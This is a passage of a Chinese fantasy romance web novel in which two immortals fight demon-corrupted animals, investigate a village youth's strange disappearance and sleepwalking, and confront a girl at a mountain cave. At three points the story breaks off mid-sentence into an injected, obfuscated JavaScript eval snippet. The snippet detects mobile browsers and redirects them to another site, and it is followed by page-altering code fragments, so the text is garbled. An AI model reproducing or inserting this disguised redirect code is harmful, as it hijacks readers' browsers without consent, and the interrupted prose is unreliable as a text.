小十一起身,疑惑地看向华尧:“为什么我没听到?” 华尧垂眸深思,抬眼盯着慕小闲:“我也没听到。” 慕小闲一愣:“不会吧......”为什么单单折磨她的耳朵...... “能判断方位吗?” “好像在那边。”慕小闲指向山的另一侧。 。 三人在林间疾驰,慕小闲被夹在中间。华尧的仙力在黑暗中发出淡淡的亮光,微光像河流一样向前徜徉,流入黑暗的密林深处。幽黑与阴冷的气息从前方扑来,像是诱惑他们走进一个无尽的黑洞。 穿行许久没有见到任何动静,三人渐渐放慢速度,小十一的声音从身后传来:“怎么什么也没看到?现在还有声音吗?” “现在没有了。但我确定刚才真的听见了。”慕小闲面露疑惑,缓缓摇了摇头。 “说不定是风吹过峡谷的声音。”小十一思索道。 慕小闲蹙眉:“花莳不是说,村民夜里听到的是呜呜声吗?虽然呜呜也可能是风声,但花神村的村民一直住在这附近,不可能最近才注意到这种声音,一定是山里出现了变化。” “呜呜呜——”像是长笛吹出来的呜咽,又像是孩童压抑的低泣...... 慕小闲身上又浮了一层鸡皮疙瘩:“对对,就是这种听起来很怪异的......” 三人同时一震,表情瞬间紧绷。声音是从哪里传来的? 那细碎的呜咽断断续续,在寂寥的山林里格外毛骨悚然。 华尧绷紧了背脊,神情肃然,抬头望着树林上空,蹙眉细细听着,突然眼神一凌,头一偏,冷声道:“在那边!” 他高大的身影瞬间消失在原地,黑衣上的金色在犹如一条晶莹的鱼线在深不可测的潭水中略过。 慕小闲与小十一立即紧跟而上,追着华尧的痕迹在林间一顿疾走,就见他神色复杂地停在一片相对空旷的草地中,手上滋啦滋啦地缠绕着耀眼的光辉。 慕小闲与小十一先后落在他身边,顺着他的目光定睛一看,不远处,一团形态异常的东西浑身像是裹着紫色火焰。 “那是什么?”慕小闲睁大了眼睛。 黑暗中,一只长得超出她认知的四脚兽,圆润的肌肉僵硬地挤着失焦的眼睛,冲他们呲着嘴,口中尖利的獠牙在熹微的光线下泛着阴冷的光。 呃...... 这是什么...... ......神、奇、宝、贝? 小十一下意识向后挪了半步:“野猪精?” “是被魔气侵蚀的动物。”华尧沉声严肃道,眼睛紧紧锁着那团紫色。 小十一恍然:“难怪山里没有动物。”然后意识到了什么,惊讶地问:“为什么这里有魔气?” 华尧紧锁着眉头,眼睛一眨不眨地落在那动物身上:“天庭有所察觉......青丘境内有魔族的踪迹。” 慕小闲与小十一心里俱是一惊。 “花神村在青丘十分隐秘,村民又都是没有仙力的人。魔域按捺多年,想从这里开始蚕食也是不无可能。” 小十一慌了:“和魔族有矛盾的不是天庭吗?他们为什么打青丘的主意?那该怎么办?” 华尧眼神里露出一丝戾气:“先解决它们。” 慕小闲紧张地环顾四周,突然从暗林里冒出几团紫色幽光,像几团漂浮的鬼火。 “退后。”华尧沉声。 小十一听话地向后退去,将自己的身影隐匿在树丛中。慕小闲却没有动:“为什么?我又不是不能打。” 华尧瞥了她一眼,嘴角不自觉上扬:“那就让我看看你学的如何。” 慕小闲轻轻抬了下眉:“比试比试?” 华尧嘴角的笑容逐渐扩大,没有回应,而是果断欺身上前,手中的光晕越来越刺眼。 一股强劲的气流向慕小闲扑来,她双臂护在眼前,抵挡气流带来的冲击,身体被向后猛地推了一寸,脚下的土壤留下一道浅坑。 慕小闲将双臂甩开,撩了下吹乱的头发,满眼冒火:“你打就打,干嘛误伤我?” 眼前华尧已与紫焰包裹的野猪缠斗在一起,华尧作为天庭上神拥有数万年修为,此时以大欺小,局势一边倒,压得对方怀疑猪生。 魔化野猪身手不错,但受庞大的身型与体重拖累,三两下就开始喘着粗气,行动渐缓。可野猪与生俱来的攻击性在魔气的作用下变得更强,悬着獠牙像身旁护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137720|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着两把弯刀。激烈动弹中,魔气缠绕的獠牙,翻出几个凌冽的剑花,向华尧杀去。 这种程度的攻击对华尧来说无需避让,他周围升腾起几个光球,平地上砰砰几下,剑花炸裂爆出几朵云烟。 林间的紫色幽光从黑暗深处走出,一二三四......有七只,马,鹿,兔子,蛇...... 嘶,怎么什么都有? 魔化后的体型比原本大上许多,猛一出来,像几个巨人将平地团团围住,让本就昏暗的环境笼上了一层阴霾。 慕小闲咽了咽喉咙,没想到这么多,这要怎么办? “怕就躲远点。”华尧在与野猪纠缠中还时刻关注着后方的动静。 一直叫她退后退后烦死了!慕小闲皱眉喝道:“你是不是觉得我不行?” 她凝神聚气,身后的发丝扬起,周遭的气场忽的转换...... 一伸手,对着野猪火力全开,“哗”的一道汹涌的白气向缠斗中的两个身影彪去,将野猪从华尧眼前猛地撞开,野猪被白光冲撞上面前的树干,在树干上砸出一个大坑。 华尧收回手,再看慕小闲时眼里流露出无法掩饰的惊愕与困惑,她怎么可能在短短时间达到这样的修为? 慕小闲骄傲地扬起下巴,没给华尧眼神,侧身全神贯注地观察其他几只动物。 庞大的蛇悠悠摆动上身,居高临下地瞪着冒紫光的眼睛,呲着牙冲慕小闲吐性子。她一阵恶寒:“蛇交给你了,其他我们对半开。” “小心。”华尧叮嘱道。 烈马长嘶,狂躁地扬起蹄子在半空挥动,月光下一头染上紫色的鬃毛微微发亮。 还挺朋克啊。慕小闲挑了下眉,手上运起白色仙力。 烈马甩了甩上身,惊叫着、狠狠朝慕小闲踏来。 慕小闲微眯了下眼,脚下腾空而起在空中一个反转,身影与冲来的烈马擦过,在它的马背上单手一撑,连拍三掌。 白色掌印拍在马背上,于紫色的魔气中如同水中油墨一般晕染开。马受到冲击身子一斜,凄厉地嘶吼一声,一转头,铁蹄又不管不顾地向慕小闲踏来。 慕小闲扬起袖子,面前化开了一层流动的屏障,屏障未等烈马冲击,很快分解成了无数个水滴似的小点。 这是她第一次将自己的仙力显化至如此多的数量,分散的仙力需要极强的控制能力,这几个月试炼了许多次,看看现在能不能成功。 华尧分了一半精力在慕小闲身上,眼底透出一股深意,对她的长进愈发好奇。 “小心!”小十一在草丛里惊呼。一旁焦躁的兔子,眼中紫光一现,突然暴起,张着嘴两颗大门牙向慕小闲的脖子磕来。慕小闲心中一紧,她没有多余的心力释放仙力了! 寒光一现,华尧面不改色挡在她身后,兔子已被掀翻,晕厥过去,小腿还在无意识地抖动。 慕小闲松了一口气,专心对付面前的烈马。 无数凝成水滴的仙力突然锐化,犹如棱镜,又似散发寒光的小刀,反射着周遭的环境。静止几秒,放射状向烈马涌去。 烈马曲起前蹄,长嘶划破夜空,声音愤怒又凄厉。 层层叠叠的仙力砸在马身上,如同石子跌入水中,咕咚咕咚融进紫色的魔气中。烈马焦躁地甩着身子,痛苦的叫声变成了断断续续的呜咽,想从两股对抗的力量中挣脱出来,脚下的草地被反复蹂躏露出地皮。 紫色一晃,渐渐变得微弱,最终被白色取代。 狂躁的烈马渐渐平息,瞳孔恢复了黑色,茫然地甩了甩头,走到一边低头啃起草来。 待慕小闲依法炮制干掉另一只“魔兽”后,华尧已经蹲在晕厥的动物旁为他们驱除魔气。 慕小闲四下望了望,不服气地说:“不是说好了你四我三吗?” 华尧手下一顿,抬起头:“你看清楚,我这里只有四只!” 慕小闲撇撇嘴,数了数华尧近旁......一二三四......还真是四只。她只消灭了两只,剩下一只去哪儿了? “呜呜呜——”那道诡异的声音又陡然出现,盘旋在黑夜上空。 慕小闲与华尧同时抬头,这个声音到底是? 华尧细听了一会儿,脸色突变,冲慕小闲大喝:“小十一呢?” 慕小闲的心陡然一沉,仿佛坠下了无底深渊。她僵硬地扭头看向草丛,向小十一躲藏的地方走了几步。 华尧用仙力点亮了幽暗的灌木丛,眼前一览无余。 两人眼神复杂,谁也没有说话。 57. 第 57 章 华尧屈膝半蹲在树丛中,借着幽幽月色观察土壤留下的痕迹,半晌说道:“没有挣扎的痕迹。对方的修为比小十一高。” 小十一虽然看上去年纪轻,但也有千年修为。 慕小闲心有余悸地拍拍胸口:“还好我没躲着,不然丢的就是两个人了。” 华尧对她这副没心没肺的样子早已习惯,他起身抬起头,凝望那段呜咽的来处。 可是山间恢复了寂静,再没有一点声音。 天快亮了。 山下的早市开启了新一轮的喧嚣,慕小闲站在街边的摊贩前,一手拿着啃了几口的顶顶香猪肉大包,一手拎着真真姐麻团,像是大清早出街觅食的小鸟。 包子皮薄肉厚,软乎极了,热气带着肉香扑面而来,鲜香顺着舌头一路滑进心底。 慕小闲舔了舔嘴角溢出的肉汁,脸上浮现幸福的表情。 “小哥,你这包子味道太鲜美了。这是我吃过最好吃的包子。”慕小闲冲包子铺的店员一笑。 店员得了夸奖,也笑起来:“好吃您就多带几个呗。” 慕小闲摸了摸口袋,蹙起眉,遗憾地摇了摇头说:“这几天赶路剩的钱不多了,得省着点花。” 店员没有生气,倒是好奇地问:“您是打哪儿来的?好像没见过?” 慕小闲凑上前,在他耳边小声说:“其实,我是那家人......他们家前几个月不是出事了嘛,他们请来的。”她一副“你懂的”的表情,在店员露出恍然的神情时,恰如其分地点点头,给予对方的猜测充分肯定。 店员又一思索,疑惑地问:“哦!你是元家请来的?她们家儿子不是好了吗?” 慕小闲:“好什么啊。他之前不是那什么嘛,就是那个......” 店员:“哪个?” 慕小闲诱导不成,摆摆手笑道:“哎呀,不能说了,我要赶路了。你知道他家在哪儿吗?我好像走错了。” 店员皱了下眉:“你要去他家,不知道在哪儿?” 慕小闲往后退了几步,就听到一旁路人突然插进来:“你是从哪里来的?你怎么知道元家的事情?诶,你站住!别跑!你是谁?诶!别跑!” 慕小闲身轻如燕,一路狂奔到槐树下,一手攥着小半个包子,另一手拎着的纸袋被攥得变了形。 华尧蹙眉瞥了她一眼,眼里是不认同:“以你现在的仙力,断食几天不会有问题。” 慕小闲举起手中的包子:“你们神仙无法理解美食是多么的治愈。”说完,三口将剩下的包子吞下,瞪了眼华尧,哽在胸口咳嗽起来。 华尧上前捶了捶她的后背:“你吃东西就是为了把自己呛着?” 慕小闲扶着树干顺过气,恼怒道:“这是意外!” 华尧主张白天在山里寻找蛛丝马迹,但慕小闲却认为这样犹如大海捞针,她们不知道掳走小十一的东西长什么样,但也许有人见过。 本来想直接问花莳,谁知花神庙里空空如也,不知他去了哪里。 在田间逮着个人问,那人看他们像看怪物一样,连说不知道别问我。 华尧坦言道:“这个村子十分闭塞,村民就算有线索,也未必会告诉我们。你这样贸然登门,他们恐怕会将你赶出来。” 慕小闲眼波一荡,嘴角上扬:“别急,吃饱了才能干活!” 早市热烈地开张,人渐渐多了起来,在小摊边三三两两聚集着。 慕小闲坐在米酒小汤圆摊边,神色慌张地东张西望,伸手去拿茶壶,一不小心打翻了近旁的茶杯,溅了邻桌一身。她畏畏缩缩地道歉,领桌骂骂咧咧走开,引起了不少关注。 慕小闲缩起脖子,边睁大眼睛观察着四周边压着声音对华尧说:“昨晚那个呜呜呜呜的声音好可怕啊!”目光往四处沾了沾,立马收回来:“怎么办呐,会不会真的是那个?” 她神色太古怪,嘴里又神神叨叨的,立刻吸引来了几处目光。 华尧坐在她身边淡定喝茶,不想与她对戏,甚至还想快点离开。 慕小闲拉住他几欲先走的袖子,眼里露出怜悯之色,喃喃道:“他们都还不知道吧?唉,怎么会这样?那个东西要是再出现可怎么办?” 青天白日贩卖焦虑,周围的气氛果然微妙起来。有人眉头一皱赶紧走开,以为遇见了精神不正常之人。但也有人对视一眼,悄悄坐近。 果然,隔了张空桌,一个坐在他们侧前方的络腮胡大叔拿筷子在桌上敲了敲,冲慕小闲扬起下巴:“嘀嘀咕咕的说什么呢!说大声点儿!” 慕小闲被吓得身体一震,眼神闪烁,小声嘟囔道:“偷听人说话还有理了?我又不是说给你听的。” 周围听着动静的几人不由对大叔露出嘲讽的笑意。 大叔面上无光,语气加重:“你不是村里人吧?在这里鬼鬼祟祟做什么?” 慕小闲虽然穿的朴素,但身材相貌极好,人群中十分显眼。她身边坐着那位身着华贵服饰的男子,举止投足更显贵气非凡。 相衬之下,对面的大叔倒显得有些像山上下来的土匪。 看热闹的人群向这边聚集,探头想听清楚他们在说什么。 慕小闲眼里精光略过,抬起头,声音稍大了一些:“我们什么也没做,你心虚什么?要我说,你们这些村民整天疑神疑鬼、浑浑噩噩,怕是做了见不得人的事,心里有鬼!” 人群中有倒吸一口气的声音,也有不满的嚷嚷:“你说什么?” “哪儿来的小丫头,瞎说什么?” “大哥没说什么吧?她干嘛那么激动?” “不要贼喊捉贼!如果你们心里没鬼,为什么太阳一落山就紧闭门户?看看你们现在的表情......”慕小闲“啪”地将杯子重重扣在桌上,站起身扫视人群,对准一个神色不坚定的人:“嗯?你敢不敢晚上出门?” 那人一犹豫,慕小闲立马接上:“没做亏心事不怕鬼敲门!你倒是说说,你怕什么?” “他没怕,你赶紧走,这里不欢迎外人。”大叔喝道。 慕小闲紧紧盯着那人,语气中带着遗憾说:“我们降妖除魔多年,什么怪事没见过!如果不是看这里天有异象,可能要出事,我们才不来呢!” 慕小闲转头对早已按捺不住的华尧说:“看来是我们多事,他们根本不怕那东西呢。”几个字说的很是咬牙切齿。 人群中有一微弱的声音:“真的是降妖除魔的?我们......” “嘘!” “别乱说话!” “那是不是有救了?” “谁知道?捂着也不是个事儿......” 一上来就说自己是来拯救他们的,任谁也不会相信。倒不如先让他们看到反常之处,自发产生怀疑,再顺水推舟将这不同寻常之处坐实。不破不立,慕小闲这一反招正如蛇打七寸,将村民的逆反心理抓得死死的。 接下来,只要那户人家有所耳闻,他们登门拜访也不会突兀了。 出乎意料的是,他们在外转悠了仅半天,那户家仆就避着人烟偷偷过来询问。慕小闲与华尧心照不宣,看来事情比他们料想的还要严重。 为了避开耳目,他们在巷子里绕了几圈,家仆引着他们从后门进了宅子。一进院子,慕小闲立马有种不舒服的感觉。 家中老人穿带齐整守在屋门边,神情怏怏地翘首眺望。远远看到华尧墨发玉冠、气宇非凡、一派正气,原本带着怀疑的浑浊眼睛瞬间冒出欣喜之光,枯瘦的手激动地颤抖起来,嘴里喃喃:“有救了。一定有救了。” 慕小闲迎上去:“您找我们什么事?” 老人身型矮小,抬头望着两人,狭窄的眼眶泛出泪光:“听闻二位是降妖除魔的仙人?” 慕小闲点点头。 老人神色更加激动:“可否证明一二?” 慕小闲与华尧对视一眼,慕小闲抬手聚气,手中冒出一股氤氲而上的青烟。不过是最简单的仙术,已让老人与家仆眼中的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13137721|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光芒更盛。“我们来这里就是为了查明真相,让花神村恢复往日的安宁。” 老人连说几次好好好,“你们跟我来”被家仆搀着从屋外小院向里走去。 老人步履蹒跚,边走边慢慢道来:“吾家小儿三个月前突然失踪,几日后才回来,整个人变得有些不对劲。有位云游的仙人路过,说他上山撞了不干净的东西。他看过之后小儿确实有好转...... “虽然他现在看上去和常人无异,但经常会失神,食量削减了许多,还特别怕人。”老人声音中带出一丝哽咽:“我总觉得他还没好,不知道该怎么办。” 通过几句描述判断不了情况,慕小闲跟在老太太后面说:“先让我们看看,兴许不是什么大问题。” 房间的门紧闭,家仆在门框上敲了三下,老太太问:“卓儿,我带人来看看你。别怕,这次是精通降妖除魔的仙人,看看你就能好了。” 门内没有回应,但慕小闲能觉察到里面的呼吸带着惊惧微微颤抖。 “唉,他有好些天闭门不出,不愿见人了。”老太太面露迟疑,转身为难地对他们说。 慕小闲“哦”了一声,直接伸手将门推开,一脚跨了进去。 “诶!”老太太一惊,慌忙跟上去:“你怎么......”什么怎么?老太太又说不出个所以然。 床上窝着一个瘦骨嶙峋的身影,听到他们进来后,整个身子缩进了被褥中瑟瑟发抖。 慕小闲困惑道:“他多大了?” “今年十五。”老太太答道。 先前说是孩子失踪,慕小闲以为顶多不过十二三岁,没想到已经这么大了。 华尧小声提醒:“不能用凡人的岁数衡量。” 没错,小十一看上去比他还小,不也是个千年大妖怪。 老太太上前坐在床边,手颤巍巍地搭在被子上,低头轻声问:“卓儿,你还好吗?” 被子像是突然发狠使劲一扯,老太太被力道带得重心不稳,差点栽在床头。 家仆赶忙将她扶起,老太太面露悲伤,哽咽道:“他之前很乖,很守礼的。怎么会这样?” 门外踏踏几声,门口堵上了两个人影,一位中年男子神色警觉地看了慕小闲与华尧一眼,转头对老太太带着一丝责备的语气说:“娘,你能怎么让外人进来?” 老太太解释道:“他们不是......他们是真的神仙,他们能救卓儿!” “哪儿有这么多神仙?卓儿不能再受刺激了!” 中年男子皱着眉头瞥了慕小闲她们一眼,下逐客令:“家务事不方便麻烦外人,请你们走吧。” 没想到半路杀出个程咬金,慕小闲岂是他呼之则来挥之则去的?当然没理他,而是向床边走去。 “你想干什么?”中年男子拦在她面前。“吾儿没有问题,请你回去。” “你觉得他没问题?”慕小闲指着床上那团被子反问道:“难道你希望他以后都是这个样子吗?” 中年男子义正言辞地说:“他只是受了惊吓,过些日子就会好。” 老太太被人搀着,拍了拍大腿,哭道:“儿啊,你不能这样啊!我这是为了卓儿好啊,他不能再这样下去了。” 中年男子对家仆说:“送老太太回屋。” 老太太被往外搀,脸上悲痛欲绝:“我怎么有你这样的儿子!两位仙人,仙人,一定要救救卓儿啊,他还那么小!” 老太太被扶出了房间,华尧和慕小闲却二人分毫未动。中年男子皱着眉头,厉声道:“二位一定要动武才肯走吗?” 慕小闲挑了下眉,心想你打得过谁啊? “请离开这里!”中年男子欲上前将慕小闲往外推,伸出的手突然被人擒住。 华尧幽黑深邃的眼眸望向他,身上裹挟着肃杀之意,沉声道:“我们来此处是为了对付山上的东西,你儿子是死是活我们不关心。如果你实在嫌他命长......”他嗤笑一声:“对我们不过是举手之事。” 58. 第 58 章 他手上微微用力,中年男子的面部立马扭曲:“住手!住住住.......手! “你们到底想干什么?” 慕小闲站在华尧身侧,冷声道:“有句话叫请神容易送神难,我们不把这里的问题解决了是不会走的。” 华尧手上一重,大叔闷哼一声。床上的人影一抖,突然露出头,颤声道:“爹,你们对我爹做了什么?” 他的模样十分青涩,但个子已如成年人一般,但神情举止还像个半大不大的孩子。他望了晏离一眼,眼神中闪过一丝惊恐,但强装镇定道:“请你们放开我爹爹。” 慕小闲换上和颜悦色的模样,笑眯眯地捏着嗓子说:“小朋友,我们是来帮助你的,你跟我们说说,你失踪那几天去了哪里?发生了什么事?” “小朋友”一抖,想缩回被子里去,被慕小闲眼疾手快拎了出来。 “小朋友别怕,哥哥姐姐只是想快点把坏蛋抓起来。” “小朋友”像只受惊的兔子抖得更加剧烈:“你......你先放手。” 半晌,元卓坐起身理了理身上的衣服:“我叫元卓,你们怎么称呼?” 慕小闲指了指自己又指了指华尧:“慕小闲,华尧。” 元卓面露疑色:“你们真的是神仙?” 慕小闲点点头:“你想看三十六变还是七十二变?” 元卓看着他爹,眼里露出纠结之色,咬了下嘴唇:“不必了。我可以告诉你们,先把我爹放开。” 华尧松了手,中年男子扑到床边,一手护着元卓警惕地盯着他们。 “其实那天我并没有想要上山。”元卓垂眸回忆道,他虽然坐在床边,身体依旧向里缩着。 “我原本想去花神庙上柱香,走到乡间小路时不知怎么就失去意识了。等我醒来,我躺在一个阴冷幽暗的洞穴里。那个山洞很黑,什么也看不见,但是透着剧烈的水声。” “你还在给那破庙上香?那里头供奉的根本不是神!”元卓的父亲有些激动,提高了音量。 元卓淡淡看了他一眼,打断:“爹,等我说完好吗?” “我很害怕,但我的身体无法动弹。我躺了很久很久,直到听到了......”元卓突然停下,瞳孔收缩,眼中充斥着惊惧之色。他胸口起伏几下,捂着自己的嘴像要呕吐。 元卓的父亲满眼心疼,慌忙在他后背顺了几下。他平息许久,才重新抬眼,像是又经历了一场折磨。 “你听到什么了?”慕小闲问。 “是惨叫声。”元卓的脸扭曲起来,痛苦与沉重从他的眼睛溢出,让他单薄的身体笼上了一层阴郁。 “是很多很多、连续不断的惨叫声。” 慕小闲望向华尧,他似是安抚般地向她靠近了半步。 “我听着那些惨叫声,什么也做不了,还担心下一个就会是我。我都快要疯了,直到那个......那个人出现......”元卓脸上出现一丝僵硬。 慕小闲眼神一变:“什么人?” 元卓深呼吸几口,说:“是个小姑娘。” 小姑娘?慕小闲眉头微微一皱,不是怪物吗? “她......”元卓露出难以启齿的表情,垂下眼眸望向了别处,咬牙道:“她给我东西吃,给我水喝,还让我不要害怕。我不知道她是什么人,在她的照顾下,我渐渐能动了,但浑身仍使不上力。我在山洞里不知时日,只觉得过了很久很久,直到被一阵呜呜声吵醒......” 元卓垂眸,攥紧了衣角:“我扶着墙起身向那声音走去,那山洞又长又黑,我一直走一直走,声音越来越大,后来又走进了一个洞口,我看到......”元卓忽然顿住。 “看到了什么?” 元卓猛地抬头,眼里充满了惊恐与慌乱,两只手不受控制地颤抖,被他父亲牢牢攥住。 “是动物,很多很多动物的尸体。” “地上全是残渣与血水......” “呕”元卓控制不住干呕起来,眼泪从眼角溢出,脸色变得异常苍白。 慕小闲心下沉郁,脸上像结了一层寒冰。 “她还做了什么?” 元卓的父亲护着他恼怒道:“别问了。该说的他都说了。” 元卓急促地喘息起来,脸色愈发惨淡,缓和了好一会儿,微微推开他的父亲,有气无力地说:“没......我太害怕了,不敢继续看了......” 华尧问:“你是怎么逃出来的?” 元卓微微一顿,眼中闪过一丝慌乱:“我不知道,我以为我要死了。我被吓晕了,等我清醒过来时,我已经躺在家中了。”元卓脸上的惊惧不像是装的,但他所说的疑点太多,甚至串不成一个完整的故事。 元卓见慕小闲面露迟疑,赶紧说:“我记得的就这么多,绝无半点虚言。” 慕小闲点点头,没有继续为难他,而是问:“你奶奶说你还没好是怎么回事?” 元卓一僵,侧头怔怔地看向他父亲,眼里有些难以置信,嘴唇微微发颤。 他父亲避开了他深究的眼神,抽开手,冲华尧与慕小闲沉声道:“他已经大好了。” 慕小闲:“他若是好了,为何不敢出门,为何被你关在屋内?” 元卓向前倾了身子,蹙眉问:“父亲,怎么回事?难道我做了什么出格的事情?我怎么不记得......” 华尧冷冷地瞥了中年男子一眼,他一个哆嗦,眼神飘忽不定,像在做一个艰难的决定。他犹豫了一会儿,叹了口气说:“其实从之前那位仙人走后,你每逢朔、望月半夜都不太平静。” 元卓怔然:“什么意思?” 他的父亲眼中划过痛苦之色:“你夜里会突然发狂,谁也不认,到处乱跑,嘴里还不停地嘀嘀咕咕。我怕被人看见,所以告诉村里人花神山又有怪物,晚上都别出门。” 元卓惊得说不出话,怔怔地望着他的父亲,眼底涌上了一股悲伤的神色。那段诡异的回忆一直纠缠着他,没想到他夜里入睡后居然做出了这种疯狂的举动,元卓又恐惧又恶心,一时意识错乱,浑身发抖,继而目光涣散,身体直勾勾地倒了下去。 华尧上前伸手想探探元卓的脉搏,被他父亲一手打开。 他的父亲一声凄厉的惊呼,眼中泛起水光,扶着元卓,乞求似的看向慕小闲与华尧:“你们想知道的都知道了,还想怎样?” 华尧直起身体,嘴抿成一条肃然的线,什么也没有说转身离开。 慕小闲一头雾水地跟上去,门外家仆一路目送他们离开。 “怎么回事?他还好吗?”出了元家的门,两人走到元宅后面的小道上,四下没什么人。 “他不是撞了邪。”华尧走到槐树下,意味深长地看了宅子的方向一眼:“他是撞了魔。” 慕小闲眨眨眼睛,恍然大悟道:“原来如此,和昨晚那些小魔兽有关系。他还有救吗?” “等今晚再看。”华尧看了眼天色:“今天是十五。” 慕小闲思及小十一的安危,急忙问道:“今晚不上山?小十一怎么办?” 华尧点点头:“山里那东西不会着急对小十一下手。但如果错过今晚,要再等十五日才能亲眼看到元卓在夜里发生了什么。” 慕小闲望着远处静谧的花神山,内心嘀咕:小十一,他果真不是你亲姑父,你自求多福吧。 夜色降临,山里的鸟雀憩在枝头,村里点起一盏盏油灯,街道上空无一人。新鲜的饭菜香从屋里飘出,阵阵遥远的喧闹声后,点点油灯陆陆续续熄灭。 慕小闲打了个哈欠,蹲在树下伸伸懒腰:“几点了?” 华尧望了眼高挂的月亮:“子时。” “怎么还没有动静?” 华尧时刻留意着宅子里的动静,但从入夜以来,宅子里除了守夜的家仆,没有其他声音。 不久,宅子里传来窸窸窣窣的脚步声,远远的,又有一阵沉闷的喧闹,像是一锅煮至将开未开的水,在炸锅和平息之间摇摆。仔细分辨,似乎裹挟着白日那老太太的哭声:“卓儿你醒醒。你醒醒啊!” 他父亲也焦急地说:“卓儿回去吧。” “卓儿你到底怎么了。” 但是却没有元卓的声音。 两个身影一起一落,踏进院子,就见元卓穿着单薄的里衣,闭着眼睛,漫无目的地在院子里疾走。 院子不大,他东走几步到了头又向西冲去,如此焦急莽撞地四处奔走,像一只想要冲破牢笼的鸟。 “你们怎么又来了?”元卓父亲看见他们变了脸色,带着恼意:“你们怎么私闯民宅?”老太太蹙眉在一旁拉了拉他的袖子。 慕小闲看着元卓说:“这就是你说的好了?” 元卓从他父亲面前疾走而过,神色若泣,呜咽卡在喉中。 元卓父亲的注意力被引走,悲伤地唤了一声:“卓儿!” 慕小闲走近了一看,元卓的眼睛并未完全阖上,眼皮留了一条缝,嘴里低声嘀咕着什么。凑近了听,好像是“我怎么在这里?今天是几月几号?我要回去,我要回去。”之类的。 “这是梦游吧?”慕小闲说。 华尧看向慕小闲,等着她解释。 “就是一种睡眠障碍,睡着之后会在半梦半醒状态下起身走动。如果之前没有过这种症状,应该是他这段时间受到了惊吓,内心太过恐惧、焦虑导致的。” 元卓的父亲静下来,听得认真:“那要怎么办?” “关键还是要解决他心中恐惧的东西,然后加以心理疏导。” “这......我们怎么解决?”元卓父亲皱起眉头。 慕小闲扬了扬嘴角:“这你就不用担心了,这是我们的业务范围。” 趁她闲扯时,华尧的目光一直停留在元卓身上,半晌,他眼中闪过一丝疑光,突然上前扯开了元卓的衣襟。 四周昏黄烛火的映衬下,他的锁骨上显现出了一轮淡紫色弯月似的疤痕。 慕小闲疑惑地上前想摸一摸那道疤痕,手刚伸出就被华尧拉了回去。就见华尧伸出手带着一股温和的仙力从疤痕上拂过,那道紫色一点一点渐渐消融,直至消失不见。 “这是?”慕小闲问。 华尧收回手,侧头对中年男子说:“只是普通的伤口,可能是在山中不小心留下的。这几天不要沾水。让他放宽心,好好休息。” 父亲眼里露出惊喜的神色,终于醒悟过来:“没事了?真的没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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慕小闲站在河边神色严肃,细细感知着四周的环境。 “我原本以为瀑布后会有个水帘洞。”身后的脚步一顿。慕小闲接着说:“居然没有?元卓听到的水声难道不是出自这里?” “不,应该在这附近。”华尧斜眼看向旁边:“我能感觉到......这里有异样的气息。” “马后炮。”慕小闲嘟囔着:“之前来这里时也没见你说。” 华尧面色一沉:“你说什么?” 慕小闲忽而故作殷勤道:“我说,华尧上神聪慧过人一定很快就能找到。” 华尧立在她身旁,俯视她的侧脸:“别这么说话。”转身,丢下一句:“跟我来。” 悬崖陡峭,峭壁之后,隐藏着一方碧绿的池塘。池水无波,沿着另一侧蜿蜒的小径而下,背光处一轮漆黑的圆洞镶在土石之中,如果不仔细看,还以为是茂密的枝叶投下的阴影。 “你怎么知道在这里?”慕小闲问。 “瀑布在向阳面,那一侧没有山洞,他只能被关在阴面。” “呵。好有道理。” 洞口光线可及之处没有异样,周围又安静又干净。但两人虽面朝洞口,却都察觉到了从后方隐约透过来的一丝不属于大自然的气息。 华尧陡然转身,眼神一凌,身上爆发出一股强大气流,忽而向眼前的草木袭去,将隐蔽的草木尽数冲开。 四周恢复平静之前两人已经站在了草丛之中。 草丛里,一个穿着质朴、扎着双马尾、白白净净的小姑娘吓得坐在了草地上,微张着嘴眨了眨眼睛,惊慌失措地抓着地上的植被说:“我......我是来采蘑菇的。” 小姑娘看起来十四五岁,如果他们没下山走一遭,可能会被她这副单纯的模样蒙蔽。但此时慕小闲一脸淡定,心里唯有我信了你的邪。 她低下身,装模作样地问:“小妹妹你叫什么名字?别怕,我们是来找人的。你有没有见过一个比你稍矮一点的男孩子?” “我叫阿寐,我知道了,你是来找小弟弟的。”小姑娘眼神一亮,踉踉跄跄地爬起来,向山洞走去。 她缓步走到洞前突然停下,默默地说:“小弟弟很可爱,我很喜欢他。”阿寐转过头,睁着亮闪闪的眼睛,带着乞求的神色,乖巧地说:“阿姨,你能不能让他留下来陪我。” 慕小闲沉浸在柔软的画面中,仿佛听到了世间真情,被唤醒了母爱。但在听到后半句突然清醒,嘴角垮了下来:“大白天说什么梦话?没睡醒就滚回去清醒了再来跟我说话。” 阿寐眼中那懵懂的神色褪去,划过一丝与她外表和年龄不相仿的诡异,与慕小闲双目对视几秒,突然瘪了瘪嘴:“姐姐,你好凶啊。”她又望向华尧,说:“还是大哥哥好。” 慕小闲心里呵呵:不,他更凶。 